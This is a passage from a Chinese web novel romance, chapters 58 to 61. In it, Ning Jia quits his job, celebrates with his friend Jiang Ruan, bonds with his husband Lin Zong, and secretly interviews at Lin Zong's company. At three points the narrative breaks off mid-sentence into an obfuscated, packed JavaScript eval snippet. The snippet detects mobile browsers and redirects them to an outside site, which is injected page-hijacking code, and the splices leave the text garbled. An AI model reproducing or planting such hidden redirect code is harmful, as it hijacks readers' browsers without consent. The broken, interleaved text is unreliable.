其实是有的,找过一回,让他把宁嘉开了,不然就把他公司收购了。 领导还有点心动,破公司根本不值钱,有人买简直太好了,结果那天林少亲自来了,找了宁嘉,领导心说我保不住你了,结果林少后来又乐呵呵走了。 领导有一点迷茫,随后失落,他的破公司没人要了。 宁嘉松了口气:“有一点吧,很少一部分因为这个原因,总是会有影响的,因为我的关系影响到别人和我们公司,我很愧疚。” 领导看着宁嘉。 宁嘉笑笑,示意他喝水:“我主要是,自己也想辞职,我想去学长的公司上班。” 领导也听说了,这个“学长”是何许人也,立马阻止:“不行的!办公室恋情不可取啊!” 宁嘉笑起来,才知道他们领导这么有意思,也不客气,坐到他对面:“我们是没有感情结婚的。” 领导眼珠子一下就圆了。 “但我最近才知道我喜欢他,很喜欢,”宁嘉很不好意思,挠挠头,“我想要对他好一点。” 领导说:“那你好呗。” 宁嘉点头:“我想去追他来着。” 领导无语了:“......有时候真搞不懂你们这些年轻人,婚都结了还追什么?” 宁嘉竟然真和他解释:“我还没谈过恋爱呢,仪式感总要的吧。” 说来说去宁嘉就是要辞职,正经理由也不给一个,竟然是去谈恋爱,领导没办法,只能使出杀手锏:“你这还在实习期呢,要是辞职的话,工资可就不给了哦。” 宁嘉点点头,很理解的样子:“好的,我问问我老公怎么说。” “......”领导气死,“给给给,你走吧,你赶紧走。” 宁嘉就真走了,走前还给领导倒满一整杯降火气的水,顺便替他关上门。 同事还在喝冰奶茶,刚睡醒,透心凉,神清气爽,看宁嘉不坐,还招呼:“你在干吗呢,来坐啊。” 宁嘉笑说:“我辞职了。” “???”同事:“为什么?” 宁嘉就不再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13732311|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说一次了:“领导把我开了。” 同事轻拿轻放奶茶,拍桌:“老娘去杀了他!” 宁嘉没有要拦她的意思,边上的同事也在看热闹,同事又坐了回去:“你还是辞职吧,奶茶和蛋糕不退。” 宁嘉把东西收拾好,该带的带走,短短一个多月,他又辞职了,这一回心情平静,没有不舍得,也觉得一切都好。 午后下了场雨,路面已经干了,宁嘉端着小纸箱,满头大汗地等公交,天还是太热了,夏天还没有完全过去。 江软翘着脚吹空调,突然有人踢开了办公室的门,吓他一跳,这架势不是他爹就是哪个找死的,转头一看,哟呵一声:“你怎么来了。” 宁嘉把带来的纸箱往门边一丢,从办公室的小冰箱里拿饮料,倒在沙发上半死不活:“我要被热死了。” “打车啊你。”江软走过去,坐到他边上。 宁嘉直摇头:“我坐公交。” 江软调笑:“你都是贵妇了,还不舍得打车?” “也没太大感觉,”宁嘉竟然顺着江软的话往下说,一本正经地问江软,“结了婚,不都是要上交工资卡的吗?” 江软问:“林纵那工资你敢要?” 宁嘉摇头,又点头:“不知道。” 江软乐了,转念一想:“嗯?你不是都要和人离婚了吗,离了就知道了,能有多少钱。” “不离了。”宁嘉说。 江软看着他。 宁嘉说:“不想离婚。” 江软脸上是老父亲般欣慰的笑容:“你终于想通了,哥们。” 宁嘉狐疑地瞧着江软,那么多回了,江软说了那么多次的话,他到现在才真正理解其中的意思,不由感叹:“你早知道了啊?” 江软正想自夸,宁嘉便说:“看你平时笨笨的。” 江软差点把宁嘉掐死。 宁嘉倒在沙发上直笑,开心,在自己的事情想通过后,终于想到了江软的:“你前段时间说,认识了一个男的?” 江软叹气:“兄弟,你这反射弧不是一般的长。” 宁嘉很不好意思:“这段时间事情太多了。” 一件接一件,乱七八糟的,不止是林纵和宁嘉,还有两家人甚至算上吴家,可能是三家人的事乱七八糟掺和在一起。 江软摆摆手,倒在宁嘉肩上:“没什么大不了的,就是我在餐厅里遇到一个帅比,特别帅。” 宁嘉问:“然后呢?” 江软完全没有觉得哪里不对:“我当时正在和相亲对象吃饭,一眼就被傅川吸引住了,就让相亲对象帮我找傅川要手机号码。” 宁嘉:“.....你那相亲对象没打死你呢?” “差不多吧,”江软语气平平,“他正在外面诋毁我呢,我没人要了,只能缠着傅川。” 但其实不是这么个道理,宁嘉知道,凭江软的家庭,没几个人敢说他的坏话,江软缠着傅川,很可能就是宁嘉如今这样,突然开窍了,直到自己想要什么。 还挺有趣的,宁嘉挺想笑,问:“好看不?” 江软狂点头:“很好看,我有照片,给你看看。” “等等等等,”江软在那翻手机,宁嘉突然反应过来,“你说的那个傅川,他会不会喜欢女生?” 江软看傻子似的看着宁嘉。 这就是问题了,为什么宁嘉从来没有想过他和林纵之间的感情。 宁嘉不知道林纵喜欢他,更没想过自己会喜欢男生,他不知道某些事情上同性相吸,基佬的雷达十分灵敏,一测一个准。 “他喜欢男人。”江软只能这么说。 紧接着,翻到了照片,江软让宁嘉看:“喏。” 59. 第 59 章 傅川和林纵是两种完全不同的长相。 宁嘉看着江软手机里的照片,那是一张偷拍,江软坐在傅川对面,举着手机,傅川垂着眼,似乎没有意识到被偷拍。 宁嘉收回视线,惊叹:“你喜欢这款啊?” 江软显然很喜欢:“很帅啊,你不喜欢吗?” 江软点头又摇头,捋着思绪,评价:“他长得有点凶。” 也不是凶,只是比较冷,没什么亲和力。 傅川长相和气质给宁嘉的感觉都是凉薄,哪怕他垂着眼,宁嘉看不到他的眼神,都觉得这样的人他相处不来。 江软立马就不肯了:“比你家林纵帅。” 宁嘉呸呸:“学长比他帅。” 林纵长相会温和一点,他应该更像林俏俏,那个坚强勇敢的女人。 刚认识是在学校里,林纵身居高位,但经常笑,给人一种很好相处的感觉。 如果不是毕业后的相处,宁嘉也不会对林纵改观。 认识林纵越久,宁嘉才知道林纵其实不爱笑,他很少笑,但看向宁嘉的眼神是温和的,就像宁嘉看到富贵那样。 可就算林纵不爱笑了,宁嘉还是觉得林纵一点都不凶,他比宁嘉最早认识的那个学长更真实,也更好。 江软不和宁嘉争这个,毕竟傅川不是他的谁,宁嘉和林纵却有事实关系,也有相处之后的感情。 更重要的一点,如果宁嘉觉得傅川比林纵帅,那江软就危险了,这种不知道自己是gay的gay,往往更有魅力。 “晚上一起吃饭呗?”江软收起手机。 宁嘉说:“好啊,我和学长说一声。” 这次不回家吃饭,宁嘉完全不心虚,他只是想和江软吃顿饭而已,也没有要和林纵离婚的意思。 许久后,林纵才回:好的。 宁嘉已经和江软讲完辞职的原因了,江软倒没什么想法,他是理解不了人为什么要工作的,他完全不想工作,被他爸安排到公司来是来混日子,不需要赚钱养家,也没太大责任心。 “不想干就不干,”江软举双手赞成,“晚上我请你吃饭,就当庆祝你辞职了。” 宁嘉笑死:“好像这是什么好事。” 江软跟着傻乐:“算好事啊,你那个公司我也不是很想你接着待下去。” 宁嘉问:“为什么?” 江软想了想:“就和被校园霸凌的学生最终会转学一样,被欺负不是你的错,可是那会成为你的污点,见到那些事的那群人也会和污点一样碍眼。” 宁嘉震惊地看着江软。 江软莫名其妙:“干什么?” 宁嘉:“我竟然听到你在说人话。” 江软一巴掌拍过去:“去你的吧。” 宁嘉靠在沙发上笑,大概能理解江软的意思,虽然他不怎么想,但不能阻止别人这么想。 “也有道理吧。”过了很久后,宁嘉说。 就和父亲离世后,他和母亲被过多的人关注一样,都是件不舒服的事情,唯一不同的事,父亲是宁嘉在意的人,而林少不是。 “没事的,没事的。”江软搂着宁嘉的肩,“哥哥晚上请你吃好吃的。” 宁嘉面无表情:“如果记得没错的话,我比你大了两个月。” 江软一甩刘海:“花钱的是大爷,叫爷。” 宁嘉从善如流道:“大爷好。” 江软很满意:“嗯,好。” 在手机软件上挑了半天,宁嘉也没想好晚上要去吃什么,江软等烦了:“你能赶紧不,等下就下班高峰期了。” 宁嘉一关手机,决定:“我想去上次和我妈去吃的那家店。” 江软压根不记得:“哪?” 宁嘉形容了一下:“上次回学校答辩后过来那次。” 江软想起来了,他也回学校答辩去了,但是比宁嘉回来要早,宁嘉压根没说他要来予市的事,不然江软会邀请他一起玩游戏,这样的话,宁嘉没见上许诗瑶的那两天会住在江软家,而不是酒店。 “我去接你那天?”江软问,“你说没良心让你妈请你吃饭卖儿子那次。” 宁嘉:“.......”倒也不用形容的这么仔细。 “是吧。”宁嘉说。 江软拍拍宁嘉,让人跟着起来:“那走吧。” 江软翘班了半个小时,路上不堵车,一路通畅,连红灯都很少,这样的车开着才有意思。 车开到半路,江软才想起来问:“那家的菜很好吃吗?干吗非要去那里?” 宁嘉很实诚地说:“我觉得不怎么好吃,听说还贵,还要服务费。” “哦,”江软显然不为所动,“我们有钱人吃饭都是要付服务费的,而且那家店在我看来一点都不贵。” 宁嘉:“......闭嘴吧你。” 江软:“所以为什么要去那里浪费我时间?” 宁嘉别过脸,看着窗外车流,难得矫情一次:“我想从哪里开始就从哪里结束,今天过后,又是新的开始了。” 江软龇牙:“开个破车本来就烦!” 宁嘉:“......” “你能不能说人话?” “人话就是上次吃的不开心,这次再吃一次。” 江软非常不给面子:“我觉得你这次吃也不会开心,那家东西应该真的不怎么样,不然没良心为什么让你吃。” 虽然江软说得很有道理,但宁嘉还是觉得好笑,他今天的心情莫名其妙的,兴奋地直乐:“吴良仁在你这里真的这么差劲啊?” 江软理所应当道:“不然呢,你和我说了那么久,我就没听出他什么好。” 宁嘉一想,也是,便也没说什么。 两人在餐厅里坐着,江软让宁嘉点菜,自己开了一把游戏,等宁嘉点完菜,江软也变成菜了。 宁嘉惊讶:“这么快?” 江软摆手:“很久没玩了,手生。” 宁嘉也差不多,明明工作后两人也经常一块玩游戏,但日子就这么过着,很多过去的习惯突然就这么改变了。 到这会儿,江软忽然明白过来宁嘉的话:“你的命运之轮就是这里开启的哦?” 宁嘉十分感动:“你终于听懂了啊?” 江软倒了杯开水,十足的少爷模样,悠悠道:“是啊,从此你就变成了林夫人。” 宁嘉笑死:“好像不是什么好事。” 江软笑了下:“嘉嘉,我问你,让你再选一次,你还来不来这里吃饭了?” 好问题,这是宁嘉从来没想过的事。 如果这世上有重来一次的机会,宁嘉不到这家餐厅来,不和许诗瑶吃这顿饭,不来予市,不掺和许诗瑶和吴良仁的事。 那宁嘉就不会见到林纵了,不会因为相亲对象是林纵就决定和他结婚,也不会因为这样那样的事渐渐产生了感情。 这些事情发生之后,宁嘉得出的结论是,他喜欢林纵。 如果重来一次问的是,要不要和林纵相遇,那宁嘉想,他的回答应该是要的吧。 也不是去全都是坏事,因为遇见林纵,让宁嘉经历了很多很好的事情。 在江软的强烈要求下,宁嘉被江少爷送回了家。 “其实不用这么麻烦。”宁嘉坐上车的时候,还是这么说的。 当江软打开窗户,收起整个车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13736770|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 顶盖,跑车在无人的公路上快到没影的时候,宁嘉又不这么想了:“太爽了太爽了,啊啊啊啊啊啊啊——” 江软笑着大喊:“嘉嘉,你现在这个样子像在高潮,是我能给你的快乐更多吗?” 宁嘉:“......滚啊啊啊啊啊啊啊——” 江软笑死。 宁嘉被送到家,江软挥一挥衣袖走了,宁嘉在身后虚伪地追问:“要不要进来喝口水?” 江软根本没搭理他。 玄关处留着一盏灯,客厅里没人,宁嘉兴冲冲跑上楼,推开卧室门,没人,又去了书房。林纵正在小阳台抽烟,指尖处有不明显的一点猩红色。 “学长。”宁嘉笑起来,快步走过去,像在用跑的,张开双手一下撞进林纵怀里。 林纵反手抱着宁嘉,另一只手灭了烟:“怎么了?” 宁嘉摇摇头,发丝扫着林纵的脖颈:“没事,就是很高兴。” 林纵揉了揉他的头发,心绪平和:“看出来了,有什么开心的事吗?” 宁嘉抬起头,本来想说话,突然闻见了什么,像猫似的,鼻尖嗅了嗅,拱到林纵颈间。 宁嘉的脑袋毛茸茸的,像富贵拱着林纵的脖子,还真有点痒,难怪宁嘉总躲,笑问:“你在闻什么?” 宁嘉抱着林纵的腰,有点赖皮地贴在他身边:“学长,你香香的。” 林纵觉得宁嘉醉醉的,这话又不能真说,宁嘉身上没有酒味,他知道宁嘉只是高兴,大概真的发生了很好的事情。 “我还没洗澡。”林纵回答。 “但你也香香的。”宁嘉更加努力地嗅嗅,嘴唇碰到林纵脖子上敏感的皮肤,让林纵动弹不得。 林纵不喷香水,身上只有沐浴液的味道,宁嘉可能闻到的是这个,但宁嘉自己身上也有,他们用的生活用品都是一样的。 林纵便随便他了,问道:“今天发生了什么好事?” 宁嘉抬头看着林纵:“辞职了算不算。” 林纵的表情带了点惊讶,随后笑起来:“你喜欢的都算。” 宁嘉说:“我像个咸鱼,工作做不久,做菜也不会,实习工资三千,连钱包都空空的。” 林纵能够理解宁嘉的意思,他不是江软,从来没觉得如今的一切是他应得的,属于他的。 “如果不来予市的话,你会有一份月薪八千的工作,周末和几个朋友约出去玩,不想吃外卖的时候在家煮泡面可以加鸡蛋,闲来无事切点水果冻在冰箱里当冰棍吃。” “你只是不得已放弃了原先正常的生活,总会有一段过渡期的,不要太在意。” 宁嘉一脸嫌弃,嗔怪道:“学长,你说的我原本就像个咸鱼。” 林纵:“......” 宁嘉说:“干啥啥不行。” 林纵说:“会赚钱就行。” 宁嘉:“正常人都会赚钱。” 林纵:“八千很多了。” “学长,你月薪多少。” “还是不要和我比了。” 宁嘉不想和林纵玩了,松开手,倚在他身旁,林纵没问,宁嘉也不知道怎么说,辞职真的没有特别的理由,除了想换个离林纵近一点的工作外,最重要的是如今这个工作他不是很喜欢,工作内容和工作氛围和他想要的不太一样。 解释也太难了。 怪矫情的,又不能和林纵说我想追你,多冒昧啊。 算了。 傍晚下过一场雨,院子里还有雨后花草的清香,闻得宁嘉心旷神怡:“学长,亲一个吧?” 林纵:“? 林纵看向宁嘉,一本正经地问:“你又用脚嗑瓜子了吗?” 60. 第 60 章 宁嘉没上班,林纵早起的时候就没打算叫他。 等林纵从浴室洗漱完出来,宁嘉又像幽魂似的坐在床上,垂头丧脑,明显是还没醒。 “怎么醒了?”林纵走近他。 宁嘉表情困顿:“被闹钟吵醒了。” 刚睡醒的人身体是热的,暖呼呼的,林纵的掌心不自觉去贴宁嘉的脸,指腹从脸颊滑下来,摸到他的脖颈,然后是锁骨。 宁嘉抖了抖,没躲,连声音都是软的:“痒。” “嗯,”林纵收回手,从头到尾表情都没有变过,“你接着睡,我去上班了。” 宁嘉垂着脑袋点点,在林纵要走的时候,轻声说:“我已经找工作了,学长。” 林纵:“嗯?” 宁嘉抬起头,耷拉着眼睛看着他:“我已经找工作了,投了简历,他们还没有回我。” 林纵又捏了捏宁嘉的耳垂:“没关系,家里不缺钱,你做自己快乐的事情就可以了。” 宁嘉侧头贴贴林纵的手:“上班挺开心的,我没有偷懒,学长,只是觉得那个工作不是很适合我,就想再看看。” 这也是实话,说是要找林纵谈恋爱只是原因之一,宁嘉倒也不至于迷恋林纵到这个地步,想着能靠近一点是最好的,如果面试失败,他也不会勉强。 “知道了。”林纵侧过头,在宁嘉耳垂上轻咬了一口,“你再不让我走,我就不走了。” 宁嘉捂住耳朵,脸红心跳加速,血压一下就上来了:“你怎么这样啊!” 林纵一张正人君子的脸:“我一直这样。” 宁嘉:“......” 宁嘉睡了趟回笼觉,很短暂地做了场春.梦,在林纵的“帮助”下,他的生理需求很好地被解决着,所以睡醒身上也没有很大的问题。 都是林纵的错,宁嘉心想,他从来不知道学长是这样的学长,表面上看着斯斯文文,背地里不当人。 果然男人就是男人,上下五千年都改变不了他们的本性,色.欲这种东西与生俱来。 于是宁嘉虽然觉得意外,但也还是很好的接受了,林纵对他竟然是这个样子。 宁嘉起床后先去猫房逛了逛,富贵身体恢复的很快,连刀线都很浅,傻猫看到他就闻闻嗅嗅,甩个尾巴表示下一晚上没见的思念之情。 阿姨在打扫卫生,见宁嘉半天没出来就敲门喊人:“先出去吃饭呀。” 富贵已经钻角落里去了,宁嘉正撅着屁股找猫:“啊,等等。” 阿姨笑说:“少爷吩咐了,让你起床要先吃早饭呀。” 宁嘉有时候特受不了有钱人这一点,在家非要喊少爷,林纵好像也习惯了,不会特意去纠正这一点,于是在家的时候,宁嘉也变成了少爷,小少爷。 宁嘉对这个称呼没有意见,管他大还是小,反正他不小。 吃完饭,宁嘉又开始在家里闲逛,人果然不能太无聊,宁嘉背着手,和老大爷似的从楼下逛到楼上,这才看到窗外的天。 哦,今天阴天啊。 宁嘉又背着手去逛院子了。 搬进来到现在,宁嘉就没有真正逛过院子,总觉得不是他该住的地方,所以从来都没有很上心。 上一次逛就是上一次了,宁嘉被蚊子咬成傻子,冲上楼喷了一身花露水味。 夏日,阴天逛草地,宁嘉的心情非常美妙。 宁嘉:[图片][图片] 宁嘉:有空来我家烧烤,你看我有个这么大的院子。 江软:? 江软:你是第一次知道你家有个这么大的院子吗? 宁嘉:是啊。 江软:“......”不知道这傻子为什么语气这么骄傲。 江软没回,宁嘉开始思考,院子里有个小石桥,两边是鹅卵石铺成的小径,池塘里养了荷花,池子里是空的。 宁嘉:[图片][图片] 宁嘉:觉不觉得这个池子里很空? 林纵开会的间隙看了眼手机:你想放什么? 宁嘉:[垮起个批脸.jpg]王八可好? 林纵:“......”严重怀疑宁嘉在骂人,但他没有证据。 会后,助理上前,问林纵有什么需要他做的事,林纵说:“买几只王八。” 助理:“......?” 林纵面不改色:“再来几尾鱼吧。” 助理虽然不理解,但尊重。 宁嘉还在院子里逛,拐角处有一棵很大的柳树,啊,真是太好了,阴凉,挡太阳,这里适合摆一张椅子打扑克。 宁嘉又在好友列表里找,最终翻到了一个人。 宁嘉:[图片][图片] 闻凯:? 宁嘉:你看,我家有一棵很大很大的树,你有吗? 闻凯截图,转发消息给林纵:[微笑][微笑] 闻凯怒发语音:“本来上个破班就烦。” 好端端的,林纵突然笑起来,助理:“?” 林纵回复:对你嫂子态度好一点。 闻凯:“.......” 这院子说大不大说小不小,几分钟就走完了一圈,回屋后急匆匆地找阿姨。 阿姨放下手里的活,突然也着急上了:“怎么了怎么了,出了什么事了?” 宁嘉问:“阿姨,我们这房子多少钱啊?” 阿姨一脸“我劝你还是不要知道的好”。 宁嘉:“......” 宁嘉逛累了就躺回床上,呈“大”字型摊平,吹着空调,再也没有比这个时刻都幸福的时候了。 递出去的求职申请还没有被回复,单单是觉得没有工作的那一瞬间就无比美好。 宁嘉靠在床头玩手机,江软不在也不想吃鸡,随便刷点网页,看看笑笑。 饭点,阿姨又在喊宁嘉吃饭了。 早上没有让宁嘉吃很多,就是考虑到还要吃午饭。 宁嘉穿好拖鞋,开心地像个富贵,蹦蹦跶跶下了楼,面对一桌子菜,自己都羡慕自己:“哇,太香了吧。” 拿出手机,拍照:[图片] 宁嘉:一个人四菜一汤,孩子幸福哭了。 林纵那头发来个视频申请,宁嘉立马接通,拿在手上:“学长,你吃饭了吗?” “在吃饭。”林纵说着转了摄像头,让宁嘉看他的饭。 宁嘉傻乎乎地笑:“比我的差点。” 林纵说:“比不上。” 宁嘉找了个手机支架,把手机架上,林纵也把手机立到一旁,两人就这么视频着吃了一顿饭。平时宁嘉也公司,也没这样的机会和林纵视频,这会儿突然理解那些恋爱的小情侣为什么做这么矫情的事了。 中途,阿姨从房间里出来,看到宁嘉在讲话,下意识又回了房间,宁嘉听见动静,不好意思地说:“阿姨好像看见了。” 林纵“嗯”了声。 宁嘉一想,别的不说,他们俩关系可是法律都同意了的,阿姨住在家里第一天就知道两人是什么关系,偶尔也会进房间打扫,好像真的没必要在意。 但宁嘉就是有点害羞。 第一次喜欢一个人,和他亲亲蜜蜜的视频,好像两人很情深的样子,就算是自我欺骗,宁嘉也幸福得不行。 又只剩下笑了:“学长,你晚上加班吗?” “要的,”林纵吃饭的时候,偏眼看到桌上的文件,拿了笔划了一下,才接着说,“闻凯那边有事。” 宁嘉一直不知道林纵和闻凯有什么业务来往,也不好问,他到现在,才有点领地意识,想起来要问:“为什么闻凯的公司要你来帮忙啊?” “不是闻凯的工作,”林纵根本不会瞒着宁嘉,“我和他共同注册的公司,雇了人在管理,但有些事还是得我和闻凯做主。” 他们两个人也不过二十四岁的年纪,创办公司没有很多心得,也有很多不懂,有人在管理的同时,他们也在学习,尽量更多的接触到公司业务和其中相关的人和关系。 宁嘉在这个时候却想的比林纵多, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13741338|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表情犹豫:“那,林平生知道吗?” 林纵笑起来,他喜欢宁嘉在意他的每个时刻:“他知道的,我没有什么能瞒得过他。” 林纵在笑,宁嘉却觉得窒息,皱着眉替林纵不高兴:“那你不就没有自己的隐私和自由了吗?” 除了上回有关林俏俏,提到林平生,林纵永远是这副事不关己的表情,轻笑着,没有睥睨众生的傲然,只是不在意:“他没有管过我什么,不会说不可以。” “可他会对你发号施令。” 宁嘉捕捉到了重点:“和我结婚你不愿意的对不对?” 实际上和谁结婚林纵都不会同意,那只是林平生给他的一个任务,就像所有的事都瞒不过林平生一样,林纵也不在意林平生强加给他的东西。 或许林纵从来都没得选,就像当初林俏俏把他还给林平生一样。 林纵忽略了宁嘉的潜台词,回答:“和你结婚我愿意。” 宁嘉气得要摔筷子了,果然上次在林家太给臭老头面子:“我不是这个意思!” 林纵淡笑:“我就是这个意思。” 说完林纵还是看着宁嘉,宁嘉也看着林纵,明明隔着手机,宁嘉突然老脸一红,低头往嘴里扒拉两口饭,声色厉苒道:“我不和你说了。” 饭吃完,两人各自收拾桌子,视频里的人消失了一会儿,随后又出现,宁嘉问:“学长,你要睡觉了吗?” 通常林纵会先刷会手机再睡,他没和宁嘉说:“嗯,要睡了,你要挂了吗?” 宁嘉急忙点头:“挂了吧挂了吧,我去找富贵玩了。” 宁嘉放假在家一天,幸福得不行,家里楼上楼下一直跑,没事干就去院子里逛逛,散步一定要背着手,后来溜着溜着突然走到猫房外,富贵正坐在窗前发呆。 一人一猫四目相对,就很突然。 富贵:“......” 宁嘉:“......” 富贵用力扒拉着窗户,龇牙咧嘴,隔着窗户宁嘉也听不见它的叫声,不过可以想象到富贵对他的指责:我每天都关在家里,老登,你倒是潇洒。 仗着富贵听不见,宁嘉也兀自安慰:“哎呀,你不能这么想,”他摸摸额头,“你看我没有空调,满头的汗,但你在空调房里啊,毛都没有打湿一根,老铁,我也太羡慕你了吧。” 富贵怀疑自己被PUA了,但他没有证据。 傍晚时,宁嘉收到人事回复,邀请宁嘉参加公司明天的面试。 宁嘉打了个响指,很满意,一切尽在他掌握之中。 第二天一早,宁嘉睡眼惺忪地起床,送走林纵去上班后,自己才换好衣服出门,阿姨还没反应过来:“少爷今天起来这么早呢?” 宁嘉摆摆手:“阿姨阿姨,我不吃了,我来不及了,我要走了。” 阿姨连问一句去哪都还没来得及,连宁嘉的背影都要看不到了。 周五早上,要为结束一周公司而开会,林纵从办公室出来,经过走廊,迎头碰到一个戴着帽子和眼睛的男生,男生脚步匆忙,显然在找什么。 突然男生停下脚步,看着林纵,想来句:surprise! 林纵却眼神漠然,面对宁嘉,仿佛在看一个陌生人。 边上的房间打开门,里头出来一个人:“宁嘉是吧,来这里。” 宁嘉收回视线,跟着人事进了门,不知道林纵为什么总这样的眼神看他,应该是看到他不高兴,宁嘉有些沮丧地想,林纵对他和对别人没有差别,他早该知道的。 宁嘉想要追林纵,一没有钱,二没有本事,三还住进人家家里。果然是路途遥远,道阻且长。 人事怕宁嘉还没进来就被老板吓跑,连忙说:“没事的没事的,我们老板只是不爱笑,但他不凶人,人很好的。” 宁嘉一脸忧愁:“他会不会看我长得不符合他眼缘,就不肯要我?” 人事:“啊?” 又问:“你们公司收关系户不?” 人事:“啊啊??” 61. 第 61 章 宁嘉来过林纵的公司几回,为了防止被认出来,故意带了帽子和眼镜,这一招主要是为了不攀关系。 现在想想算了,追人嘛,态度一定要好,也不能因为林纵不给他笑脸,就这么心生退路,宁嘉不是这么没志气的人。 不过宁嘉也就打个嘴炮,不敢真这么做,在人事面前,他只是个人畜无害的初出茅庐的大学毕业生。 晚上,林纵回到家,宁嘉有些没底,他吃不准林纵的反应,很怕林纵说些让他沮丧心生退路的话。 宁嘉坐在客厅里嗑瓜子,看很无聊的综艺,见林纵回来,十分热情地迎上去:“学长,你回来啦。” 他胆怯的、不安地看向林纵的眼神很明显,林纵就真的没有问。 但林纵不问,宁嘉又有些没底,在想,学长是不是没有认出来我? “嗯,”林纵现在看到瓜子就有点想想笑,“回来得晚了。” 宁嘉赶紧捂住他的眼睛:“不要笑,不要笑,学长,你吃饭了吗?” “核桃味的瓜子。”林纵握着宁嘉的手腕把手拉下来。 宁嘉惊喜:“学长,你闻出来啦?” 林纵进厨房倒了杯水:“我还没吃饭。” 宁嘉跟过来,开始谴责:“闻凯连一口水都不给你喝,真是太过分了!” “是啊,”林纵挑了下眉,虽然没喝上水,但他的心情明显很愉悦,“你要骂他吗?” 宁嘉立马掏手机。 被林纵制止了:“别管他,单身狗,自己也没得吃。” 哦,宁嘉又想,看来学长承认了我们的婚姻关系,那就好。 “那我让阿姨给你做饭?”宁嘉昨天被阿姨赶出厨房,已经彻底绝了进厨房的念头。 这么晚了,林纵不想阿姨出来碍眼:“你给我煮泡面吃吧。” 宁嘉跃跃欲试,这可是表现自己的好机会,又装模作样地:“这不好吧,泡面没什么营养,学长,你吃点好的?” 林纵转过宁嘉的肩,背对着把人往厨房里推:“我今天就想吃泡面。” 好强势,好喜欢学长! 宁嘉觉得自己像个癫公:“......” 上周末无聊,宁嘉和林纵去逛了趟超市,这些有钱人的操作相当让人看不懂,宁嘉买了十五一袋的五连包方便面,林纵买了一百三两个的石榴。 宁嘉:“......” 总之,宁嘉面无表情地拿出泡面,又拿出小奶锅,回头示意林纵可不可以。 林纵点头,宁嘉才继续用损害总裁大人形象的奶锅煮面。 宁嘉边煮面,边从冰箱里搜罗食材,找了些容易处理的食材洗一洗丢进去,急急忙忙发现泡面已经煮熟了,但食材没有,还是得找个碗把面条先捞出来。 宁嘉这边弄得着急忙慌,林纵在另一边揣着胳膊一言不发地看着,眼里带着淡淡的笑意。 把宁嘉都看无奈了,不好意思:“我都说了让阿姨来做饭嘛。” “好吃的,”还没有开始吃,林纵就睁眼说瞎话,“你管自己弄就行。” 食材煮熟,又把泡面放了回去,反正都多了一个碗,宁嘉也就捞了一点自己尝尝。 餐桌上,宁嘉在林纵对面皱起了眉,对自己很不满意:“都没有味道了。” 但其实宁嘉找的大部分都是海鲜,鲜虾、蛏子,还有一个处理的不太好的螃蟹,海鲜方便面本身的味道很淡,但海鲜本身的鲜味很足。 “很好吃。”林纵说。 宁嘉埋头郁闷:“学长,你别安慰我了。” 林纵点评:“你喝口汤,很鲜。” 宁嘉老实巴交:“可是我喝不出来。” 林纵:“......” 本身也不是经济很好的家庭,许诗瑶去菜市场买菜也不会买最贵的东西,有时候刚死的海鲜便宜,她就会买一些。 厨艺也不太好,调味料下的重,宁嘉实在不懂食材新鲜,汤底鲜甜是个什么意思。 林纵于是再次换了说法,一本正经道:“这碗面的营养很足。” 宁嘉终于被逗笑,挠挠脑袋:“啊,好了好了,你快吃吧。” 宁嘉陪着林纵收拾完厨房,两人一块上楼洗漱,虽然明天是周末,但还是睡得很早。 在一起的时间长了,宁嘉会迁就林纵的作息。 宁嘉本身工作轻松,朝九晚五,下了班就在家摆烂玩游戏,林纵属于从早忙到晚,有时候和闻凯加班,有时候回家还要进书房。 林纵是真的很忙,只是因为这样,保持良好的作息就变得很重要。 林纵有时候睡觉很早,宁嘉刷手机没什么声音,但身边的人在睡觉,自己在玩手机又好像是很奇怪的事,久而久之,就习惯和林纵一起早睡。 比如这个晚上。 半夜的时候,宁嘉却醒了,毫无缘由地,好像因为白天睡足了觉,也没有上班,所以精力旺盛。 宁嘉睁开眼,对着天花板发呆,又过了一会儿,侧过身看着林纵发呆。 不知道过了多久,林纵也醒了,起来的时候看了宁嘉一眼:“没睡?” “醒了,”宁嘉挥挥手,“学长,你快去上厕所吧。” “嗯。” 林纵掀开被子躺进来的时候,宁嘉还往里头挪了挪,给林纵腾了点位置。 “怎么不睡觉?”林纵问。 宁嘉能够感觉到,林纵其实很困,只是因为想上厕所才醒过来,这个时候接着睡是最舒服的,他却想着和宁嘉聊天。 宁嘉想让林纵去睡觉,又忍不住和他多说:“下午睡太多了,现在不困。” 林纵想了一会,才慢慢说:“明天要不要出去玩?” “去哪里玩?”宁嘉问。 “可以去海边,看海,烧烤。”林纵说, 